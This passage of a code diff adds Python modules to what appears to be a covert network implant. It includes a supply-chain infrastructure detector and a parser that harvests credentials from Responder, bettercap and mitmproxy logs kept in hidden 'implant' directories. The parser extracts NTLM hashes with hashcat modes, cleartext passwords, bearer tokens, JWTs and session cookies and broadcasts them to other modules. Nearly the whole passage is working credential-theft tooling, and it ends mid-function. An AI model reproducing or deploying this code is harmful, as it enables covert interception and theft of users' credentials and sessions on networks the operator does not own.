}),
|
||||
)
|
||||
return det
|
||||
return None
|
||||
|
||||
def analyze_port(self, target_ip: str, port: int,
|
||||
hostname: str = "") -> Optional[dict]:
|
||||
"""Check if a discovered open port suggests supply chain infrastructure."""
|
||||
if port not in _PORT_PATTERNS:
|
||||
return None
|
||||
|
||||
infra_type, description, confidence = _PORT_PATTERNS[port]
|
||||
if confidence < 0.5:
|
||||
# Low-confidence port-only detections need corroboration
|
||||
# Check if we already have DNS or HTTP evidence for this IP
|
||||
existing = self._get_detections_for_ip(target_ip)
|
||||
if existing:
|
||||
# Boost confidence if corroborated
|
||||
confidence = min(confidence + 0.3, 0.95)
|
||||
else:
|
||||
return None
|
||||
|
||||
return self._record_detection(
|
||||
infra_type=infra_type,
|
||||
target_ip=target_ip,
|
||||
target_hostname=hostname,
|
||||
target_port=port,
|
||||
evidence=f"Open port {port}",
|
||||
confidence=confidence,
|
||||
details=json.dumps({"description": description, "port": port}),
|
||||
)
|
||||
|
||||
def _on_host_discovered(self, event) -> None:
|
||||
"""Check discovered host ports for supply chain indicators."""
|
||||
p = event.payload
|
||||
ip = p.get("ip", "")
|
||||
hostname = p.get("hostname", "")
|
||||
ports = p.get("open_ports", [])
|
||||
|
||||
for port in ports:
|
||||
self.analyze_port(ip, port, hostname)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Database operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _record_detection(self, infra_type: str, target_ip: str,
|
||||
target_hostname: str, target_port: Optional[int],
|
||||
evidence: str, confidence: float,
|
||||
details: str = "") -> dict:
|
||||
"""Record a supply chain detection, deduplicating by type+ip+port."""
|
||||
now = time.time()
|
||||
detection = {
|
||||
"type": infra_type,
|
||||
"target_ip": target_ip,
|
||||
"target_hostname": target_hostname,
|
||||
"target_port": target_port,
|
||||
"evidence": evidence,
|
||||
"confidence": confidence,
|
||||
"details": details,
|
||||
}
|
||||
|
||||
with self._lock:
|
||||
try:
|
||||
self._conn.execute(
|
||||
"""INSERT INTO supply_chain
|
||||
(type, target_ip, target_hostname, target_port,
|
||||
evidence, confidence, first_seen, last_seen, details)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(type, target_ip, target_port) DO UPDATE SET
|
||||
last_seen = excluded.last_seen,
|
||||
confidence = MAX(supply_chain.confidence, excluded.confidence),
|
||||
evidence = supply_chain.evidence || '; ' || excluded.evidence,
|
||||
target_hostname = CASE WHEN excluded.target_hostname != ''
|
||||
THEN excluded.target_hostname
|
||||
ELSE supply_chain.target_hostname END
|
||||
""",
|
||||
(infra_type, target_ip, target_hostname, target_port,
|
||||
evidence, confidence, now, now, details),
|
||||
)
|
||||
self._conn.commit()
|
||||
self._detection_count += 1
|
||||
|
||||
logger.info(
|
||||
"Supply chain detection: %s at %s:%s (%s, confidence=%.2f)",
|
||||
infra_type, target_ip, target_port, evidence, confidence,
|
||||
)
|
||||
except Exception:
|
||||
logger.exception("Failed to record supply chain detection")
|
||||
|
||||
return detection
|
||||
|
||||
def _get_detections_for_ip(self, ip: str) -> list:
|
||||
"""Get all detections for a given IP."""
|
||||
with self._lock:
|
||||
try:
|
||||
rows = self._conn.execute(
|
||||
"SELECT * FROM supply_chain WHERE target_ip = ?", (ip,)
|
||||
).fetchall()
|
||||
return [dict(r) for r in rows]
|
||||
except Exception:
|
||||
return []
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Periodic scanning
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _periodic_scan(self) -> None:
|
||||
"""Periodically pull DNS and HTTP data from other modules' state."""
|
||||
interval = self.config.get("supply_chain_scan_interval", 180)
|
||||
while self._running:
|
||||
time.sleep(interval)
|
||||
try:
|
||||
self._scan_dns_data()
|
||||
self._scan_http_data()
|
||||
except Exception:
|
||||
logger.exception("Periodic supply chain scan failed")
|
||||
|
||||
def _scan_dns_data(self) -> None:
|
||||
"""Pull recent DNS queries from dns_logger state and analyze."""
|
||||
last_ts = self.state.get(self.name, "dns_scan_last_ts")
|
||||
last_ts = float(last_ts) if last_ts else 0
|
||||
|
||||
dns_json = self.state.get("dns_logger", "recent_queries")
|
||||
if not dns_json:
|
||||
return
|
||||
|
||||
try:
|
||||
queries = json.loads(dns_json)
|
||||
max_ts = last_ts
|
||||
for q in queries:
|
||||
ts = q.get("timestamp", 0)
|
||||
if ts <= last_ts:
|
||||
continue
|
||||
self.analyze_dns_query(
|
||||
query_name=q.get("query_name", ""),
|
||||
resolved_ip=q.get("resolved_ip", ""),
|
||||
client_ip=q.get("client_ip", ""),
|
||||
)
|
||||
max_ts = max(max_ts, ts)
|
||||
|
||||
self.state.set(self.name, "dns_scan_last_ts", str(max_ts))
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
def _scan_http_data(self) -> None:
|
||||
"""Pull recent HTTP log data from state and analyze."""
|
||||
last_ts = self.state.get(self.name, "http_scan_last_ts")
|
||||
last_ts = float(last_ts) if last_ts else 0
|
||||
|
||||
http_json = self.state.get("http_monitor", "recent_requests")
|
||||
if not http_json:
|
||||
return
|
||||
|
||||
try:
|
||||
requests = json.loads(http_json)
|
||||
max_ts = last_ts
|
||||
for req in requests:
|
||||
ts = req.get("timestamp", 0)
|
||||
if ts <= last_ts:
|
||||
continue
|
||||
self.analyze_http_request(
|
||||
target_ip=req.get("target_ip", ""),
|
||||
target_port=req.get("target_port", 80),
|
||||
method=req.get("method", "GET"),
|
||||
path=req.get("path", ""),
|
||||
host_header=req.get("host", ""),
|
||||
user_agent=req.get("user_agent", ""),
|
||||
)
|
||||
max_ts = max(max_ts, ts)
|
||||
|
||||
self.state.set(self.name, "http_scan_last_ts", str(max_ts))
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Query interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def get_detections(self, infra_type: str = None,
|
||||
min_confidence: float = 0.0) -> list:
|
||||
"""Get supply chain detections, optionally filtered."""
|
||||
with self._lock:
|
||||
if infra_type:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM supply_chain
|
||||
WHERE type = ? AND confidence >= ?
|
||||
ORDER BY confidence DESC""",
|
||||
(infra_type, min_confidence),
|
||||
).fetchall()
|
||||
else:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT * FROM supply_chain
|
||||
WHERE confidence >= ?
|
||||
ORDER BY confidence DESC""",
|
||||
(min_confidence,),
|
||||
).fetchall()
|
||||
|
||||
return [dict(r) for r in rows]
|
||||
|
||||
def get_summary(self) -> dict:
|
||||
"""Return a summary of detected supply chain infrastructure."""
|
||||
with self._lock:
|
||||
rows = self._conn.execute(
|
||||
"""SELECT type, COUNT(*) as count,
|
||||
AVG(confidence) as avg_confidence
|
||||
FROM supply_chain
|
||||
GROUP BY type
|
||||
ORDER BY count DESC"""
|
||||
).fetchall()
|
||||
|
||||
return {
|
||||
"total_detections": sum(r[1] for r in rows),
|
||||
"by_type": {r[0]: {"count": r[1], "avg_confidence": round(r[2], 2)}
|
||||
for r in rows},
|
||||
}
|
||||
@@ -0,0 +1,801 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Unified tool output parser — ingests output from bettercap, Responder,
|
||||
and mitmproxy, extracting credentials and host data into the event bus.
|
||||
|
||||
Periodically scans tool log directories for new data and publishes
|
||||
CREDENTIAL_FOUND and HOST_DISCOVERED events for other intel modules
|
||||
to consume.
|
||||
"""
|
||||
|
||||
import glob
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import threading
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.credential_encryption import emit_credential_found
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# -----------------------------------------------------------------------
|
||||
# Responder log patterns
|
||||
# -----------------------------------------------------------------------
|
||||
|
||||
# NTLMv2 hash format: user::domain:challenge:response:blob
|
||||
_NTLMV2_RE = re.compile(
|
||||
r"^(?P<username>[^:]+?)::(?P<domain>[^:]*?):(?P<challenge>[0-9a-fA-F]+):"
|
||||
r"(?P<response>[0-9a-fA-F]+):(?P<blob>[0-9a-fA-F]+)\s*$",
|
||||
re.MULTILINE,
|
||||
)
|
||||
|
||||
# NTLMv1 hash format: user::domain:lm_response:nt_response:challenge
|
||||
_NTLMV1_RE = re.compile(
|
||||
r"^(?P<username>[^:]+?)::(?P<domain>[^:]*?):(?P<lm>[0-9a-fA-F]+):"
|
||||
r"(?P<nt>[0-9a-fA-F]+):(?P<challenge>[0-9a-fA-F]+)\s*$",
|
||||
re.MULTILINE,
|
||||
)
|
||||
|
||||
# Responder session log: credential captures with timestamps
|
||||
# Format: [*] [TIMESTAMP] PROTOCOL - user:password from source_ip
|
||||
_RESPONDER_SESSION_RE = re.compile(
|
||||
r"^\[\*\]\s+\[(?P<timestamp>[^\]]+)\]\s+(?P<protocol>\w+)\s*[-:]\s*"
|
||||
r"(?P<username>[^:]+):(?P<password>[^\s]+)\s+from\s+(?P<source_ip>[\d.]+)",
|
||||
re.MULTILINE,
|
||||
)
|
||||
|
||||
# HTTP Basic Auth captured by Responder
|
||||
_RESPONDER_HTTP_RE = re.compile(
|
||||
r"^\[\+\].*HTTP.*Username\s*:\s*(?P<username>\S+).*Password\s*:\s*(?P<password>\S+)",
|
||||
re.MULTILINE | re.IGNORECASE,
|
||||
)
|
||||
|
||||
# -----------------------------------------------------------------------
|
||||
# bettercap event patterns
|
||||
# -----------------------------------------------------------------------
|
||||
|
||||
# bettercap credential event types
|
||||
_BETTERCAP_CRED_EVENTS = {
|
||||
"net.sniff.credentials",
|
||||
"http.proxy.credentials",
|
||||
"https.proxy.credentials",
|
||||
}
|
||||
|
||||
_BETTERCAP_HOST_EVENTS = {
|
||||
"endpoint.new",
|
||||
"endpoint.lost",
|
||||
}
|
||||
|
||||
# -----------------------------------------------------------------------
|
||||
# mitmproxy flow patterns
|
||||
# -----------------------------------------------------------------------
|
||||
|
||||
# Authorization header patterns
|
||||
_AUTH_BASIC_RE = re.compile(r"Basic\s+([A-Za-z0-9+/=]+)", re.I)
|
||||
_AUTH_BEARER_RE = re.compile(r"Bearer\s+(\S+)", re.I)
|
||||
|
||||
# Cookie patterns with session identifiers
|
||||
_SESSION_COOKIE_NAMES = {
|
||||
"sessionid", "session_id", "phpsessid", "jsessionid",
|
||||
"asp.net_sessionid", "connect.sid", "laravel_session",
|
||||
"csrf_token", "_csrf", "xsrf-token",
|
||||
}
|
||||
|
||||
# Interesting HTTP headers
|
||||
_INTERESTING_HEADERS = {
|
||||
"authorization", "x-api-key", "x-auth-token", "x-csrf-token",
|
||||
"cookie", "set-cookie", "www-authenticate",
|
||||
}
|
||||
|
||||
|
||||
class ToolOutputParser(BaseModule):
|
||||
"""Parse output from bettercap, Responder, and mitmproxy into structured events."""
|
||||
|
||||
name = "tool_output_parser"
|
||||
module_type = "intel"
|
||||
priority = 80
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._lock = threading.Lock()
|
||||
self._scan_thread: Optional[threading.Thread] = None
|
||||
self._bettercap_thread: Optional[threading.Thread] = None
|
||||
|
||||
# Track file positions to avoid re-reading
|
||||
self._file_positions: dict[str, int] = {}
|
||||
|
||||
# Dedup: track recently emitted credential hashes
|
||||
self._emitted_hashes: set = set()
|
||||
|
||||
# Counters
|
||||
self._creds_parsed = 0
|
||||
self._hosts_parsed = 0
|
||||
self._files_scanned = 0
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
# Load saved file positions
|
||||
positions_json = self.state.get(self.name, "file_positions")
|
||||
if positions_json:
|
||||
try:
|
||||
self._file_positions = json.loads(positions_json)
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
# Periodic log directory scanner
|
||||
self._scan_thread = threading.Thread(
|
||||
target=self._scan_loop, daemon=True,
|
||||
name="sensor-tool-parser-scan",
|
||||
)
|
||||
self._scan_thread.start()
|
||||
|
||||
# bettercap event stream reader (if bettercap API available)
|
||||
bettercap_cfg = self.config.get("bettercap", {})
|
||||
if bettercap_cfg.get("enabled", True):
|
||||
self._bettercap_thread = threading.Thread(
|
||||
target=self._bettercap_event_loop, daemon=True,
|
||||
name="sensor-tool-parser-bettercap",
|
||||
)
|
||||
self._bettercap_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("ToolOutputParser started")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
# Save file positions for resume
|
||||
self.state.set(self.name, "file_positions",
|
||||
json.dumps(self._file_positions))
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info(
|
||||
"ToolOutputParser stopped — creds=%d, hosts=%d, files=%d",
|
||||
self._creds_parsed, self._hosts_parsed, self._files_scanned,
|
||||
)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"credentials_parsed": self._creds_parsed,
|
||||
"hosts_parsed": self._hosts_parsed,
|
||||
"files_scanned": self._files_scanned,
|
||||
"tracked_files": len(self._file_positions),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Log directory scanner
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _scan_loop(self) -> None:
|
||||
"""Periodically scan tool output directories for new data."""
|
||||
interval = self.config.get("scan_interval", 30)
|
||||
while self._running:
|
||||
try:
|
||||
self._scan_responder_logs()
|
||||
self._scan_mitmproxy_flows()
|
||||
self._scan_bettercap_logs()
|
||||
|
||||
# Persist positions periodically
|
||||
self.state.set(self.name, "file_positions",
|
||||
json.dumps(self._file_positions))
|
||||
except Exception:
|
||||
logger.exception("Tool output scan cycle failed")
|
||||
|
||||
time.sleep(interval)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Responder parser
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _scan_responder_logs(self) -> None:
|
||||
"""Parse Responder log files for captured credentials."""
|
||||
log_dirs = self.config.get("responder_log_dirs", [
|
||||
"/opt/.cache/bb/responder/logs",
|
||||
"/tmp/responder/logs",
|
||||
os.path.expanduser("~/.implant/responder"),
|
||||
])
|
||||
|
||||
for log_dir in log_dirs:
|
||||
if not os.path.isdir(log_dir):
|
||||
continue
|
||||
|
||||
# Parse NTLMv2 hash files
|
||||
for path in glob.glob(os.path.join(log_dir, "*-NTLMv2-*.txt")):
|
||||
self._parse_responder_hash_file(path, "ntlmv2", 5600)
|
||||
|
||||
# Parse NTLMv1 hash files
|
||||
for path in glob.glob(os.path.join(log_dir, "*-NTLMv1-*.txt")):
|
||||
self._parse_responder_hash_file(path, "ntlmv1", 5500)
|
||||
|
||||
# Parse session log
|
||||
session_log = os.path.join(log_dir, "Responder-Session.log")
|
||||
if os.path.isfile(session_log):
|
||||
self._parse_responder_session(session_log)
|
||||
|
||||
def _parse_responder_hash_file(self, path: str, cred_type: str,
|
||||
hashcat_mode: int) -> None:
|
||||
"""Parse a Responder NTLMv1/v2 hash file."""
|
||||
new_data = self._read_new_data(path)
|
||||
if not new_data:
|
||||
return
|
||||
|
||||
self._files_scanned += 1
|
||||
regex = _NTLMV2_RE if cred_type == "ntlmv2" else _NTLMV1_RE
|
||||
|
||||
for match in regex.finditer(new_data):
|
||||
full_hash = match.group(0).strip()
|
||||
username = match.group("username")
|
||||
domain = match.group("domain")
|
||||
|
||||
# Dedup check
|
||||
hash_key = f"{cred_type}:{username}:{domain}:{full_hash[:32]}"
|
||||
if hash_key in self._emitted_hashes:
|
||||
continue
|
||||
self._emitted_hashes.add(hash_key)
|
||||
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": "smb",
|
||||
"username": username,
|
||||
"domain": domain,
|
||||
"cred_type": cred_type,
|
||||
"cred_value": full_hash,
|
||||
"hashcat_mode": hashcat_mode,
|
||||
"source_ip": "",
|
||||
"target_ip": "",
|
||||
"notes": f"Captured by Responder from {os.path.basename(path)}",
|
||||
})
|
||||
|
||||
def _parse_responder_session(self, path: str) -> None:
|
||||
"""Parse Responder-Session.log for cleartext credentials."""
|
||||
new_data = self._read_new_data(path)
|
||||
if not new_data:
|
||||
return
|
||||
|
||||
self._files_scanned += 1
|
||||
|
||||
for match in _RESPONDER_SESSION_RE.finditer(new_data):
|
||||
protocol = match.group("protocol").lower()
|
||||
username = match.group("username")
|
||||
password = match.group("password")
|
||||
source_ip = match.group("source_ip")
|
||||
|
||||
hash_key = f"responder_session:{protocol}:{username}:{source_ip}"
|
||||
if hash_key in self._emitted_hashes:
|
||||
continue
|
||||
self._emitted_hashes.add(hash_key)
|
||||
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": protocol,
|
||||
"username": username,
|
||||
"domain": "",
|
||||
"cred_type": f"{protocol}_cleartext",
|
||||
"cred_value": password,
|
||||
"hashcat_mode": None,
|
||||
"source_ip": source_ip,
|
||||
"target_ip": "",
|
||||
"notes": "Cleartext capture by Responder",
|
||||
})
|
||||
|
||||
# Also check for HTTP basic auth in session log
|
||||
for match in _RESPONDER_HTTP_RE.finditer(new_data):
|
||||
username = match.group("username")
|
||||
password = match.group("password")
|
||||
|
||||
hash_key = f"responder_http:{username}:{password[:8]}"
|
||||
if hash_key in self._emitted_hashes:
|
||||
continue
|
||||
self._emitted_hashes.add(hash_key)
|
||||
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": "http",
|
||||
"username": username,
|
||||
"domain": "",
|
||||
"cred_type": "http_basic",
|
||||
"cred_value": password,
|
||||
"hashcat_mode": None,
|
||||
"source_ip": "",
|
||||
"target_ip": "",
|
||||
"notes": "HTTP Basic Auth captured by Responder",
|
||||
})
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# bettercap parser
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _scan_bettercap_logs(self) -> None:
|
||||
"""Scan bettercap log files for credential and host events."""
|
||||
log_dirs = self.config.get("bettercap_log_dirs", [
|
||||
"/opt/.cache/bb/bettercap/logs",
|
||||
os.path.expanduser("~/.implant/bettercap"),
|
||||
])
|
||||
|
||||
for log_dir in log_dirs:
|
||||
if not os.path.isdir(log_dir):
|
||||
continue
|
||||
|
||||
for path in glob.glob(os.path.join(log_dir, "events*.json")):
|
||||
self._parse_bettercap_event_file(path)
|
||||
|
||||
def _parse_bettercap_event_file(self, path: str) -> None:
|
||||
"""Parse a bettercap JSON event log file."""
|
||||
new_data = self._read_new_data(path)
|
||||
if not new_data:
|
||||
return
|
||||
|
||||
self._files_scanned += 1
|
||||
|
||||
# bettercap event files: one JSON object per line
|
||||
for line in new_data.splitlines():
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
try:
|
||||
event = json.loads(line)
|
||||
except json.JSONDecodeError:
|
||||
continue
|
||||
|
||||
self._process_bettercap_event(event)
|
||||
|
||||
def _bettercap_event_loop(self) -> None:
|
||||
"""Connect to bettercap REST API and stream events."""
|
||||
# Import here to avoid hard dependency
|
||||
try:
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
except ImportError:
|
||||
return
|
||||
|
||||
api_host = self.config.get("bettercap", {}).get("host", "127.0.0.1")
|
||||
api_port = self.config.get("bettercap", {}).get("port", 8083)
|
||||
api_user = self.config.get("bettercap", {}).get("api_user", "admin")
|
||||
api_pass = self.config.get("bettercap", {}).get("api_password", "")
|
||||
|
||||
base_url = f"http://{api_host}:{api_port}"
|
||||
last_event_id = 0
|
||||
|
||||
while self._running:
|
||||
try:
|
||||
url = f"{base_url}/api/events?n=50"
|
||||
|
||||
# Create auth handler
|
||||
auth = f"{api_user}:{api_pass}"
|
||||
import base64
|
||||
auth_b64 = base64.b64encode(auth.encode()).decode()
|
||||
req = urllib.request.Request(url)
|
||||
req.add_header("Authorization", f"Basic {auth_b64}")
|
||||
|
||||
with urllib.request.urlopen(req, timeout=10) as resp:
|
||||
data = json.loads(resp.read().decode())
|
||||
|
||||
if isinstance(data, list):
|
||||
for event in data:
|
||||
self._process_bettercap_event(event)
|
||||
|
||||
except urllib.error.URLError:
|
||||
pass # bettercap not running — expected
|
||||
except Exception:
|
||||
logger.debug("bettercap API poll failed", exc_info=True)
|
||||
|
||||
time.sleep(5)
|
||||
|
||||
def _process_bettercap_event(self, event: dict) -> None:
|
||||
"""Process a single bettercap event."""
|
||||
tag = event.get("tag", "")
|
||||
data = event.get("data", {})
|
||||
|
||||
if not isinstance(data, dict):
|
||||
return
|
||||
|
||||
# Credential events
|
||||
if tag in _BETTERCAP_CRED_EVENTS or tag == "net.sniff.credentials":
|
||||
self._handle_bettercap_credential(data)
|
||||
|
||||
# Host discovery events
|
||||
elif tag in _BETTERCAP_HOST_EVENTS or tag == "endpoint.new":
|
||||
self._handle_bettercap_host(data)
|
||||
|
||||
# HTTP request events (for header analysis)
|
||||
elif tag in ("net.sniff.http.request", "http.proxy.request"):
|
||||
self._handle_bettercap_http(data)
|
||||
|
||||
def _handle_bettercap_credential(self, data: dict) -> None:
|
||||
"""Extract credentials from a bettercap sniff event."""
|
||||
protocol = data.get("protocol", "unknown").lower()
|
||||
username = data.get("username", data.get("user", ""))
|
||||
password = data.get("password", data.get("pass", ""))
|
||||
source = data.get("from", data.get("src", ""))
|
||||
target = data.get("to", data.get("dst", ""))
|
||||
|
||||
if not (username or password):
|
||||
# Check for raw hash data
|
||||
hash_val = data.get("hash", data.get("data", ""))
|
||||
if hash_val:
|
||||
cred_type = data.get("type", "unknown_hash")
|
||||
hash_key = f"bettercap:{cred_type}:{hash_val[:32]}"
|
||||
if hash_key in self._emitted_hashes:
|
||||
return
|
||||
self._emitted_hashes.add(hash_key)
|
||||
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": protocol,
|
||||
"username": "",
|
||||
"domain": "",
|
||||
"cred_type": cred_type,
|
||||
"cred_value": hash_val,
|
||||
"source_ip": source,
|
||||
"target_ip": target,
|
||||
"notes": "Captured by bettercap",
|
||||
})
|
||||
return
|
||||
|
||||
hash_key = f"bettercap:{protocol}:{username}:{password[:16]}"
|
||||
if hash_key in self._emitted_hashes:
|
||||
return
|
||||
self._emitted_hashes.add(hash_key)
|
||||
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": protocol,
|
||||
"username": username,
|
||||
"domain": "",
|
||||
"cred_type": f"{protocol}_cleartext",
|
||||
"cred_value": password,
|
||||
"hashcat_mode": None,
|
||||
"source_ip": source,
|
||||
"target_ip": target,
|
||||
"notes": "Captured by bettercap sniffer",
|
||||
})
|
||||
|
||||
def _handle_bettercap_host(self, data: dict) -> None:
|
||||
"""Extract host info from a bettercap endpoint event."""
|
||||
ip = data.get("ipv4", data.get("addr", ""))
|
||||
if not ip:
|
||||
return
|
||||
|
||||
hash_key = f"bettercap:host:{ip}"
|
||||
if hash_key in self._emitted_hashes:
|
||||
return
|
||||
self._emitted_hashes.add(hash_key)
|
||||
|
||||
self._hosts_parsed += 1
|
||||
self.bus.emit("HOST_DISCOVERED", {
|
||||
"ip": ip,
|
||||
"mac": data.get("mac", ""),
|
||||
"hostname": data.get("hostname", data.get("name", "")),
|
||||
"os_family": data.get("os", ""),
|
||||
"vendor": data.get("vendor", ""),
|
||||
}, source_module=self.name)
|
||||
|
||||
def _handle_bettercap_http(self, data: dict) -> None:
|
||||
"""Extract credentials from HTTP request headers."""
|
||||
headers = data.get("headers", {})
|
||||
if not isinstance(headers, dict):
|
||||
return
|
||||
|
||||
host = data.get("host", "")
|
||||
path = data.get("path", data.get("url", ""))
|
||||
source = data.get("from", "")
|
||||
|
||||
for header_name, header_value in headers.items():
|
||||
header_lower = header_name.lower()
|
||||
|
||||
if header_lower == "authorization":
|
||||
self._parse_auth_header(header_value, host, source)
|
||||
|
||||
elif header_lower == "cookie":
|
||||
self._parse_cookie_header(header_value, host, source)
|
||||
|
||||
def _parse_auth_header(self, value: str, host: str,
|
||||
source_ip: str) -> None:
|
||||
"""Parse Authorization header for credentials."""
|
||||
# Basic Auth
|
||||
basic_match = _AUTH_BASIC_RE.match(value)
|
||||
if basic_match:
|
||||
try:
|
||||
import base64
|
||||
decoded = base64.b64decode(basic_match.group(1)).decode("utf-8", errors="replace")
|
||||
if ":" in decoded:
|
||||
username, password = decoded.split(":", 1)
|
||||
|
||||
hash_key = f"http_auth:{host}:{username}"
|
||||
if hash_key not in self._emitted_hashes:
|
||||
self._emitted_hashes.add(hash_key)
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": f"http://{host}",
|
||||
"username": username,
|
||||
"domain": "",
|
||||
"cred_type": "http_basic",
|
||||
"cred_value": password,
|
||||
"hashcat_mode": None,
|
||||
"source_ip": source_ip,
|
||||
"target_ip": host,
|
||||
"notes": "HTTP Basic Auth from traffic",
|
||||
})
|
||||
except Exception:
|
||||
pass
|
||||
return
|
||||
|
||||
# Bearer token
|
||||
bearer_match = _AUTH_BEARER_RE.match(value)
|
||||
if bearer_match:
|
||||
token = bearer_match.group(1)
|
||||
hash_key = f"bearer:{host}:{token[:16]}"
|
||||
if hash_key not in self._emitted_hashes:
|
||||
self._emitted_hashes.add(hash_key)
|
||||
self._creds_parsed += 1
|
||||
|
||||
# Check if it looks like a JWT
|
||||
cred_type = "jwt" if token.count(".") == 2 else "bearer_token"
|
||||
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": f"http://{host}",
|
||||
"username": "",
|
||||
"domain": "",
|
||||
"cred_type": cred_type,
|
||||
"cred_value": token,
|
||||
"hashcat_mode": None,
|
||||
"source_ip": source_ip,
|
||||
"target_ip": host,
|
||||
"notes": f"{cred_type.upper()} from HTTP traffic",
|
||||
})
|
||||
|
||||
def _parse_cookie_header(self, value: str, host: str,
|
||||
source_ip: str) -> None:
|
||||
"""Parse Cookie header for session tokens."""
|
||||
for cookie_pair in value.split(";"):
|
||||
cookie_pair = cookie_pair.strip()
|
||||
if "=" not in cookie_pair:
|
||||
continue
|
||||
|
||||
name, cookie_val = cookie_pair.split("=", 1)
|
||||
name = name.strip().lower()
|
||||
|
||||
if name in _SESSION_COOKIE_NAMES:
|
||||
hash_key = f"cookie:{host}:{name}:{cookie_val[:16]}"
|
||||
if hash_key not in self._emitted_hashes:
|
||||
self._emitted_hashes.add(hash_key)
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": f"http://{host}",
|
||||
"username": "",
|
||||
"domain": "",
|
||||
"cred_type": "cookie",
|
||||
"cred_value": f"{name}={cookie_val}",
|
||||
"hashcat_mode": None,
|
||||
"source_ip": source_ip,
|
||||
"target_ip": host,
|
||||
"notes": f"Session cookie '{name}' from HTTP traffic",
|
||||
})
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# mitmproxy parser
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _scan_mitmproxy_flows(self) -> None:
|
||||
"""Scan mitmproxy flow dump files for credentials."""
|
||||
log_dirs = self.config.get("mitmproxy_log_dirs", [
|
||||
"/opt/.cache/bb/mitmproxy",
|
||||
os.path.expanduser("~/.implant/mitmproxy"),
|
||||
])
|
||||
|
||||
for log_dir in log_dirs:
|
||||
if not os.path.isdir(log_dir):
|
||||
continue
|
||||
|
||||
# mitmproxy dumped flows (JSON format via mitmdump --set flow_detail=3)
|
||||
for path in glob.glob(os.path.join(log_dir, "flows*.json")):
|
||||
self._parse_mitmproxy_flow_file(path)
|
||||
|
||||
# Also check for plaintext credential logs
|
||||
for path in glob.glob(os.path.join(log_dir, "credentials*.log")):
|
||||
self._parse_mitmproxy_cred_log(path)
|
||||
|
||||
def _parse_mitmproxy_flow_file(self, path: str) -> None:
|
||||
"""Parse a mitmproxy JSON flow dump."""
|
||||
new_data = self._read_new_data(path)
|
||||
if not new_data:
|
||||
return
|
||||
|
||||
self._files_scanned += 1
|
||||
|
||||
for line in new_data.splitlines():
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
try:
|
||||
flow = json.loads(line)
|
||||
except json.JSONDecodeError:
|
||||
continue
|
||||
|
||||
request = flow.get("request", {})
|
||||
headers = request.get("headers", {})
|
||||
host = request.get("host", "")
|
||||
path_url = request.get("path", "")
|
||||
method = request.get("method", "")
|
||||
|
||||
if isinstance(headers, dict):
|
||||
for hdr_name, hdr_value in headers.items():
|
||||
hdr_lower = hdr_name.lower()
|
||||
if hdr_lower == "authorization":
|
||||
self._parse_auth_header(hdr_value, host, "")
|
||||
elif hdr_lower == "cookie":
|
||||
self._parse_cookie_header(hdr_value, host, "")
|
||||
|
||||
# Check POST body for credentials
|
||||
content = request.get("content", "")
|
||||
if method == "POST" and content:
|
||||
self._parse_post_body(content, host)
|
||||
|
||||
def _parse_mitmproxy_cred_log(self, path: str) -> None:
|
||||
"""Parse a mitmproxy addon credential log (custom format)."""
|
||||
new_data = self._read_new_data(path)
|
||||
if not new_data:
|
||||
return
|
||||
|
||||
self._files_scanned += 1
|
||||
|
||||
for line in new_data.splitlines():
|
||||
line = line.strip()
|
||||
if not line:
|
||||
